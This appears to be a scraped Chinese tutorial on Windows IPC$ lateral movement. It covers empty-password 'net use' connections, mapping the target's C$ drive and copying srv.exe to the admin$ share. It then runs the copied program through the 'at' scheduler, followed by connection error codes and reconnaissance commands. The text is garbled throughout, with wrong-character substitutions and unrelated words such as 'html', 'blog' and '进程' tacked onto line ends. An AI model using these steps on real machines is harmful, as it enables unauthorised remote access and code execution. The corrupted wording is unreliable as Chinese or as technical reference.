IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通讯而开放的命名管道,能够经过验证用户名和密码得到相应的权限,在远程管理计算机和查看计算机的共享资源时使用。html
利用IPC$,链接者甚至能够与目标主机创建一个链接,利用这个链接,链接者能够获得目标主机上的目录结构、用户列表等信息。ios
1.139,445端口开启
ipc$链接能够实现远程登录及对默认共享的访问;而139端口的开启表示netbios协议的应用,咱们能够经过139,445(win2000)端口实现对共享文件/打印机的访问,所以通常来说,ipc$链接是须要139或445端口来支持的.windows
2.管理员开启了默认共享 默认共享是为了方便管理员远程管理而默认开启的共享,即全部的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),咱们经过ipc$链接能够实现对这些默认共享的访问网络
net use \\127.0.0.1\Iipc$ "" /user:""
net use \\127.0.0.1\ipc$ "password" /user:"username"
net use z: \\127.0.0.1\c$ "密码" /user:"用户名" (便可将对方的c盘映射为本身的z盘,其余盘类推)
net use z: \\127.0.0.1\c$ #直接访问 net use c: /del 删除映射的c盘,其余盘类推 net use * /del 删除所有,会有提示要求按y确认
net use \\127.0.0.1\ipc$ /del
4.1 构建链接操作系统
C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
这里密码本来就是为"空"code
4.2 上传exeserver
C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,(这里的$是指admin用户的c:\winnt\system32\,你们还可使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。htm
4.3 查看时间blog
C:\>net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2019/2/8 上午 11:00,命令成功完成。进程
4.4 运行程序
C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,否则没法启动)
1.你的系统不是NT或以上操做系统. 2.对方没有打开ipc$默认共享。 3.不能成功链接目标的139,445端口. 4.命令输入错误. 5.用户名或密码错误.
1.错误号5,拒绝访问:极可能你使用的用户不是管理员权限的,先提高权限; 2.错误号51,Windows 没法找到网络路径:网络有问题; 3.错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); 4.错误号67,找不到网络名:你的lanmanworkstation服务未启动;目标删除了ipc$; 5.错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方创建了一个ipc$,请删除再连。 6.错误号1326,未知的用户名或错误密码:缘由很明显了; 7.错误号1792,试图登陆,可是网络登陆服务没有启动:目标NetLogon服务未启动。(链接域控会出现此状况) 8.错误号2242,此用户的密码已通过期:目标有账号策略,强制按期要求更改密码。
net share #查看本身的共享 net view \\IP #查看target-IP的共享 netstat -A IP #获取target-IP的端口列表 netstat -ano | findstr "port" #查看端口号对应的PID tasklist | findstr "PID" #查看进程号对应的程序